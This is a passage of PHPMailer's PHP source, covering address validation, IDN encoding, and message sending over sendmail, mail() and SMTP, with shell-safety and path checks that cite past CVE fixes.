     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     *
     * @param string          $address       The email address to check
     * @param string|callable $patternselect Which pattern to use
     *
     * @return bool
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (null === $patternselect) {
            $patternselect = static::$validator;
        }
        //Don't allow strings as callables, see SECURITY.md and CVE-2021-3603
        if (is_callable($patternselect) && !is_string($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) {
            return false;
        }
        switch ($patternselect) {
            case 'pcre': //Kept for BC
            case 'pcre8':
                /*
                 * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL
                 * is based.
                 * In addition to the addresses allowed by filter_var, also permits:
                 *  * dotless domains: `a@b`
                 *  * comments: `1234 @ local(blah) .machine .example`
                 *  * quoted elements: `'"test blah"@example.org'`
                 *  * numeric TLDs: `a@b.123`
                 *  * unbracketed IPv4 literals: `a@192.168.0.1`
                 *  * IPv6 literals: 'first.last@[IPv6:a1::]'
                 * Not all of these will necessarily work for sending!
                 *
                 * @see       http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (bool) preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'html5':
                /*
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 *
                 * @see https://html.spec.whatwg.org/#e-mail-state-(type=email)
                 */
                return (bool) preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'php':
            default:
                return filter_var($address, FILTER_VALIDATE_EMAIL) !== false;
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * `intl` and `mbstring` PHP extensions.
     *
     * @return bool `true` if required functions for IDN support are present
     */
    public static function idnSupported()
    {
        return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain contains characters not allowed in an IDN).
     *
     * @see PHPMailer::$CharSet
     *
     * @param string $address The email address to convert
     *
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        //Verify we have required functions, CharSet, and at-sign.
        $pos = strrpos($address, '@');
        if (
            !empty($this->CharSet) &&
            false !== $pos &&
            static::idnSupported()
        ) {
            $domain = substr($address, ++$pos);
            //Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) {
                //Convert the domain from whatever charset it's in to UTF-8
                $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet);
                //Ignore IDE complaints about this line - method signature changed in PHP 5.4
                $errorcode = 0;
                if (defined('INTL_IDNA_VARIANT_UTS46')) {
                    //Use the current punycode standard (appeared in PHP 7.2)
                    $punycode = idn_to_ascii(
                        $domain,
                        \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI |
                            \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII,
                        \INTL_IDNA_VARIANT_UTS46
                    );
                } elseif (defined('INTL_IDNA_VARIANT_2003')) {
                    //Fall back to this old, deprecated/removed encoding
                    // phpcs:ignore PHPCompatibility.Constants.RemovedConstants.intl_idna_variant_2003Deprecated
                    $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003);
                } else {
                    //Fall back to a default we don't know about
                    // phpcs:ignore PHPCompatibility.ParameterValues.NewIDNVariantDefault.NotSet
                    $punycode = idn_to_ascii($domain, $errorcode);
                }
                if (false !== $punycode) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }

        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     *
     * @throws Exception
     *
     * @return bool false on error - See the ErrorInfo property for details of the error
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }

            return $this->postSend();
        } catch (Exception $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }
    }

    /**
     * Prepare a message for sending.
     *
     * @throws Exception
     *
     * @return bool
     */
    public function preSend()
    {
        if (
            'smtp' === $this->Mailer
            || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0))
        ) {
            //SMTP mandates RFC-compliant line endings
            //and it's also used with mail() on Windows
            static::setLE(self::CRLF);
        } else {
            //Maintain backward compatibility with legacy Linux command line mailers
            static::setLE(PHP_EOL);
        }
        //Check for buggy PHP versions that add a header with an incorrect line break
        if (
            'mail' === $this->Mailer
            && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017)
                || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103))
            && ini_get('mail.add_x_header') === '1'
            && stripos(PHP_OS, 'WIN') === 0
        ) {
            trigger_error($this->lang('buggy_php'), E_USER_WARNING);
        }

        try {
            $this->error_count = 0; //Reset errors
            $this->mailHeader = '';

            //Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array([$this, 'addAnAddress'], $params);
            }
            if (count($this->to) + count($this->cc) + count($this->bcc) < 1) {
                throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            //Validate From, Sender, and ConfirmReadingTo addresses
            foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) {
                if ($this->{$address_kind} === null) {
                    $this->{$address_kind} = '';
                    continue;
                }
                $this->{$address_kind} = trim($this->{$address_kind});
                if (empty($this->{$address_kind})) {
                    continue;
                }
                $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind});
                if (!static::validateAddress($this->{$address_kind})) {
                    $error_message = sprintf(
                        '%s (%s): %s',
                        $this->lang('invalid_address'),
                        $address_kind,
                        $this->{$address_kind}
                    );
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new Exception($error_message);
                    }

                    return false;
                }
            }

            //Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE;
            }

            $this->setMessageType();
            //Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty && empty($this->Body)) {
                throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            //Trim subject consistently
            $this->Subject = trim($this->Subject);
            //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            //createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            //To capture the complete message when using mail(), create
            //an extra header list which createHeader() doesn't fold in
            if ('mail' === $this->Mailer) {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader($this->Subject))
                );
            }

            //Sign with DKIM if enabled
            if (
                !empty($this->DKIM_domain)
                && !empty($this->DKIM_selector)
                && (!empty($this->DKIM_private_string)
                    || (!empty($this->DKIM_private)
                        && static::isPermittedPath($this->DKIM_private)
                        && file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE .
                    static::normalizeBreaks($header_dkim) . static::$LE;
            }

            return true;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }
    }

    /**
     * Actually send a message via the selected mechanism.
     *
     * @throws Exception
     *
     * @return bool
     */
    public function postSend()
    {
        try {
            //Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer . 'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) {
                $this->smtp->reset();
            }
            if ($this->exceptions) {
                throw $exc;
            }
        }

        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     *
     * @see PHPMailer::$Sendmail
     *
     * @param string $header The message headers
     * @param string $body   The message body
     *
     * @throws Exception
     *
     * @return bool
     */
    protected function sendmailSend($header, $body)
    {
        if ($this->Mailer === 'qmail') {
            $this->edebug('Sending with qmail');
        } else {
            $this->edebug('Sending with sendmail');
        }
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        //A space after `-f` is optional, but there is a long history of its presence
        //causing problems, so we don't use one
        //Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html
        //Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html
        //Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html
        //Example problem: https://www.drupal.org/node/1057954

        //PHP 5.6 workaround
        $sendmail_from_value = ini_get('sendmail_from');
        if (empty($this->Sender) && !empty($sendmail_from_value)) {
            //PHP config has a sender address we can use
            $this->Sender = ini_get('sendmail_from');
        }
        //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) {
            if ($this->Mailer === 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            //allow sendmail to choose a default envelope sender. It may
            //seem preferable to force it to use the From header as with
            //SMTP, but that introduces new problems (see
            //<https://github.com/PHPMailer/PHPMailer/issues/2298>), and
            //it has historically worked this way.
            $sendmailFmt = '%s -oi -t';
        }

        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
        $this->edebug('Sendmail path: ' . $this->Sendmail);
        $this->edebug('Sendmail command: ' . $sendmail);
        $this->edebug('Envelope sender: ' . $this->Sender);
        $this->edebug("Headers: {$header}");

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                $mail = @popen($sendmail, 'w');
                if (!$mail) {
                    throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                $this->edebug("To: {$toAddr}");
                fwrite($mail, 'To: ' . $toAddr . "\n");
                fwrite($mail, $header);
                fwrite($mail, $body);
                $result = pclose($mail);
                $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet);
                $this->doCallback(
                    ($result === 0),
                    [[$addrinfo['address'], $addrinfo['name']]],
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From,
                    []
                );
                $this->edebug("Result: " . ($result === 0 ? 'true' : 'false'));
                if (0 !== $result) {
                    throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            $mail = @popen($sendmail, 'w');
            if (!$mail) {
                throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fwrite($mail, $header);
            fwrite($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result === 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From,
                []
            );
            $this->edebug("Result: " . ($result === 0 ? 'true' : 'false'));
            if (0 !== $result) {
                throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }

        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     *
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     *
     * @param string $string The string to be validated
     *
     * @return bool
     */
    protected static function isShellSafe($string)
    {
        //It's not possible to use shell commands safely (which includes the mail() function) without escapeshellarg,
        //but some hosting providers disable it, creating a security problem that we don't want to have to deal with,
        //so we don't.
        if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) {
            return false;
        }

        if (
            escapeshellcmd($string) !== $string
            || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""])
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; ++$i) {
            $c = $string[$i];

            //All other characters have a special meaning in at least one common shell, including = and +.
            //Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            //Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     *
     * @param string $path A relative or absolute path to a file
     *
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        //Matches scheme definition from https://tools.ietf.org/html/rfc3986#section-3.1
        return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path);
    }

    /**
     * Check whether a file path is safe, accessible, and readable.
     *
     * @param string $path A relative or absolute path to a file
     *
     * @return bool
     */
    protected static function fileIsAccessible($path)
    {
        if (!static::isPermittedPath($path)) {
            return false;
        }
        $readable = is_file($path);
        //If not a UNC path (expected to start with \\), check read permission, see #2069
        if (strpos($path, '\\\\') !== 0) {
            $readable = $readable && is_readable($path);
        }
        return  $readable;
    }

    /**
     * Send mail using the PHP mail() function.
     *
     * @see http://www.php.net/manual/en/book.mail.php
     *
     * @param string $header The message headers
     * @param string $body   The message body
     *
     * @throws Exception
     *
     * @return bool
     */
    protected function mailSend($header, $body)
    {
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;

        $toArr = [];
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = trim(implode(', ', $toArr));

        //If there are no To-addresses (e.g. when sending only to BCC-addresses)
        //the following should be added to get a correct DKIM-signature.
        //Compare with $this->preSend()
        if ($to === '') {
            $to = 'undisclosed-recipients:;';
        }

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        //A space after `-f` is optional, but there is a long history of its presence
        //causing problems, so we don't use one
        //Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html
        //Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html
        //Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html
        //Example problem: https://www.drupal.org/node/1057954
        //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.

        //PHP 5.6 workaround
        $sendmail_from_value = ini_get('sendmail_from');
        if (empty($this->Sender) && !empty($sendmail_from_value)) {
            //PHP config has a sender address we can use
            $this->Sender = ini_get('sendmail_from');
        }
        if (!empty($this->Sender) && static::validateAddress($this->Sender)) {
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo && count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet);
                $this->doCallback(
                    $result,
                    [[$addrinfo['address'], $addrinfo['name']]],
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From,
                    []
                );
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL);
        }

        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation,
     * or set one with setSMTPInstance.
     *
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP();
        }

        return $this->smtp;
    }

    /**
     * Provide an instance to use for SMTP operations.
     *
     * @return SMTP
     */
    public function setSMTPInstance(SMTP $smtp)
    {
        $this->smtp = $smtp;

        return $this->smtp;
    }

    /**
     * Provide SMTP XCLIENT attributes
     *
     * @param string $name  Attribute name
     * @param ?string $value Attribute value
     *
     * @return bool
     */
    public function setSMTPXclientAttribute($name, $value)
    {
        if (!in_array($name, SMTP::$xclient_allowed_attributes)) {
            return false;
        }
        if (isset($this->SMTPXClient[$name]) && $value === null) {
            unset($this->SMTPXClient[$name]);
        } elseif ($value !== null) {
            $this->SMTPXClient[$name] = $value;
        }

        return true;
    }

    /**
     * Get SMTP XCLIENT attributes
     *
     * @return array
     */
    public function getSMTPXclientAttributes()
    {
        return $this->SMTPXClient;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     *
     * @see PHPMailer::setSMTPInstance() to use a different class.
     *
     * @uses \PHPMailer\PHPMailer\SMTP
     *
     * @param string $header The message headers
     * @param string $body   The message body
     *
     * @throws Exception
     *
     * @return bool
     */
    protected function smtpSend($header, $body)
    {
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
        $bad_rcpt = [];
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        //Sender already validated in preSend()
        if ('' === $this->Sender) {
            $smtp_from = $this->From;
        } else {
            $smtp_from = $this->Sender;
        }
        if (count($this->SMTPXClient)) {
            $this->smtp->xclient($this->SMTPXClient);
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new Exception($this->ErrorInfo, self::STOP_CRITICAL);
        }

        $callbacks = [];
        //Attempt to send to all recipients
        foreach ([$this->to, $this->cc, $this->bcc] as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0], $this->dsn)) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']];
                    $isSent = false;
                } else {
                    $isSent = true;
                }

                $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]];
            }
        }

        //Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) {
            throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }

        $smtp_transaction_id = $this->smtp->getLastTransactionID();

        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }

        foreach ($callbacks as $cb) {
            $this->doCallback(
                $cb['issent'],
                [[$cb['to'], $cb['name']]],
                [],
                [],
                $this->Subject,
                $body,
                $this->From,
                ['smtp_transaction_id' => $smtp_transaction_id]
            );
        }

        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new Exception($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE);
        }

        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     *
     * @param array $options An array of options compatible with stream_context_create()
     *
     * @throws Exception
     *
     * @uses \PHPMailer\PHPMailer\SMTP
     *
     * @return bool
     */
    public function smtpConnect($options = null)
    {
        if (null === $this->smtp) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (null === $options) {
            $options = $this->SMTPOptions;
        }

        //Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        if ($this->Host === null) {
            $this->Host = 'localhost';
        }
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = [];
            if (
                !preg_match(
                    '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/',
                    trim($hostentry),
                    $hostinfo
                )
            ) {
                $this->edebug($this->lang('invalid_hostentry') . ' ' . trim($hostentry));
                //Not a valid host entry
                continue;
            }
            //$hostinfo[1]: optional ssl or tls prefix
            //$hostinfo[2]: the hostname
            //$hostinfo[3]: optional port number
            //The host string prefix can temporarily override the current setting for SMTPSecure
            //If it's not specified, the default value is used

            //Check the host name is a valid name or IP address before trying to use it
            if (!static::isValidHost($hostinfo[2])) {
                $this->edebug($this->lang('invalid_host') . ' ' . $hostinfo[2]);
                continue;
            }
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure);
            if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; //Can't have SSL and TLS at the same time
                $secure = static::ENCRYPTION_SMTPS;
            } elseif ('tls' === $hostinfo[1]) {
                $tls = true;
                //TLS doesn't use a prefix
                $secure = static::ENCRYPTION_STARTTLS;
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA256');
            if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[2];
            $port = $this->Port;
            if (
                array_key_exists(3, $hostinfo) &&
                is_numeric($hostinfo[3]) &&
                $hostinfo[3] > 0 &&
                $hostinfo[3] < 65536
            ) {
                $port = (int) $hostinfo[3];
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    //* it's not disabled
                    //* we are not connecting to localhost
                    //* we have openssl extension
                    //* we are not already using SSL
                    //* the server offers STARTTLS
                    if (
                        $this->SMTPAutoTLS &&
                        $this->Host !== 'localhost' &&
                        $sslext &&
                        $secure !== 'ssl' &&
                        $this->smtp->getServerExt('STARTTLS')
                    ) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            $message = $this->getSmtpErrorMessage('connect_host');
                            throw new Exception($message);
                        }
                        //We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if (
                        $this->SMTPAuth && !$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->oauth
                        )
                    ) {
                        throw new Exception($this->lang('authenticate'));
                    }

                    return true;
                } catch (Exception $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    //We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        //If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        //As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions && null !== $lastexception) {
            throw $lastexception;
        }
        if ($this->exceptions) {
            // no exception was thrown, likely $this->smtp->connect() failed
            $message = $this->getSmtpErrorMessage('connect_host');
            throw new Exception($message);
        }

        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     */
    public function smtpClose()
    {
        if ((null !== $this->smtp) && $this->smtp->connected()) {
            $this->smtp->quit();
            $this->smtp->close();
        }
    }

    /**
     * Set the language for error messages.
     * The default language is English.
     *
     * @param string $langcode  ISO 639-1 2-character language code (e.g. French is "fr")
     *                          Optionally, the language code can be enhanced with a 4-character
     *                          script annotation and/or a 2-character country annotation.
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     *                          Do not set this from user input!
     *
     * @return bool Returns true if the requested language was loaded, false otherwise.
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        //Backwards compatibility for renamed language codes
        $renamed_langcodes = [
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'rs' => 'sr',
            'tg' => 'tl',
            'am' => 'hy',
        ];

        if (array_key_exists($langcode, $renamed_langcodes)) {
            $langcode = $renamed_langcodes[$langcode];
        }

        //Define full set of translatable strings in English
        $PHPMAILER_LANG = [
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' .
                ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' .
                ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'extension_missing' => 'Extension missing: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'invalid_header' => 'Invalid header name or value',
            'invalid_hostentry' => 'Invalid hostentry: ',
            'invalid_host' => 'Invalid host: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_code' => 'SMTP code: ',
            'smtp_code_ex' => 'Additional SMTP info: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_detail' => 'Detail: ',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
        ];
        if (empty($lang_path)) {
            //Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
        }

        //Validate $langcode
        $foundlang = true;
        $langcode  = strtolower($langcode);
        if (
            !preg_match('/^(?P<lang>[a-z]{2})(?P<script>_[a-z]{4})?(?P<country>_[a-z]{2})?$/', $langcode, $matches)
            && $langcode !== 'en'
        ) {
            $foundlang = false;
            $langcode = 'en';
        }

        //There is no English translation file
        if ('en' !== $langcode) {
            $langcodes = [];
            if (!empty($matches['script']) && !empty($matches['country'])) {
                $langcodes[] = $matches['lang'] . $matches['script'] . $matches['country'];
            }
            if (!empty($matches['country'])) {
                $langcodes[] = $matches['lang'] . $matches['country'];
            }
            if (!empty($matches['script'])) {
                $langcodes[] = $matches['lang'] . $matches['script'];
            }
            $langcodes[] = $matches['lang'];

            //Try and find a readable language file for the requested language.
            $foundFile = false;
            foreach ($langcodes as $code) {
                $lang_file = $lang_path . 'phpmailer.lang-' . $code . '.php';
                if (static::fileIsAccessible($lang_file)) {
                    $foundFile = true;
                    break;
                }
            }

            if ($foundFile === false) {
                $foundlang = false;
            } else {
                $lines = file($lang_file);
